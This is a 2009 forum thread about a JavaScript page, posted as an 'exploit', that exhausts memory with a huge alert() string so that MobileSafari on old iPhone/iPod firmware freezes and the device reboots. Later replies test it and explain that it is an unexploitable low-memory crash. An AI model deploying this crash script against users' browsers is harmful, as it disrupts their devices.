Apple iPhone (MobileSafari) Crash & Reboot

Discussion in 'iPhone' started by chikebum, Sep 5, 2009.

  1. chikebum

    chikebum New Member

    Joined:
    Jan 31, 2009
    Messages:
    22
    Likes Received:
    0
    Device:
    iPhone 3G (Black)
    # Tested on iPod Touch 2G, OS 2.2.1
    # Launch MobileSafari, enter the page and MobileSafari will freeze.
    # Wait for 4-5 minutes and the device will spontaneously reboot.

    Code:
    # Exploit:
    
    <html>
    <body>
    <script>
    var a = '';
    for (var i = 1; i <= 500000; i++)
    {
      a += '\n';
    }
    alert(a);
    </script>
    </body>
    </html>
    
    
    can someone confirm this exploit ? @_@
  2. SmexyPenguin18

    SmexyPenguin18 Active Member

    Joined:
    Dec 27, 2007
    Messages:
    1,749
    Likes Received:
    0
    Device:
    3G iPod touch
    If this does really work please don't make it public! delete this please.
  3. Conya

    Conya Member

    Joined:
    Nov 1, 2007
    Messages:
    580
    Likes Received:
    3
    Device:
    iPhone 5 (Black)
    ill try it on my ipod touch 1g (3.0)
    ------------------double post merged------------------
    edit: ok, you load a page with the code on it, the blue loading bar freezes at about half way, the spinning circle next to the wifi bars continues to work

    now im just waiting for a reboot?
  4. loop4444

    loop4444 Member

    Joined:
    Feb 7, 2009
    Messages:
    416
    Likes Received:
    1
    Device:
    iPhone 4 (Black)
    NOT gonna try it,whats the point of crashing your iphone lol. but,watching this as a dangerous exploit..meh that doesent make sense eighter.
  5. MuscleNerd

    MuscleNerd Member

    Joined:
    May 11, 2008
    Messages:
    350
    Likes Received:
    0
    Device:
    iPhone 4 (Black)
    The 2.x firmware isn't too sophisticated when it comes to handling low memory problems (which the above script causes). Unfortunately, it's not exactly a bug that can be exploited.

    By the way the 3.x firmware is better and handling low memory gracefully. It kills the app before the app takes down the system:
    Code:
    Sun Sep  6 14:33:11 SpringBoard[27] <Warning>: Memory level is urgent (63%) and there are no background apps to ask to exit.
    Sun Sep  6 14:33:11 SpringBoard[27] <Warning>: Application 'Safari' exited abnormally with signal 9: Killed
    Sun Sep  6 14:33:11 ReportCrash[140] <Error>: Saved crashreport to /Library/Logs/CrashReporter/LowMemory-2009-09-06-143310.plist using uid: 0 gid: 0, synthetic_euid: 0 egid: 0
    Sun Sep  6 14:33:11 configd[25] <Notice>: jetsam: kernel termination snapshot being created
    

Share This Page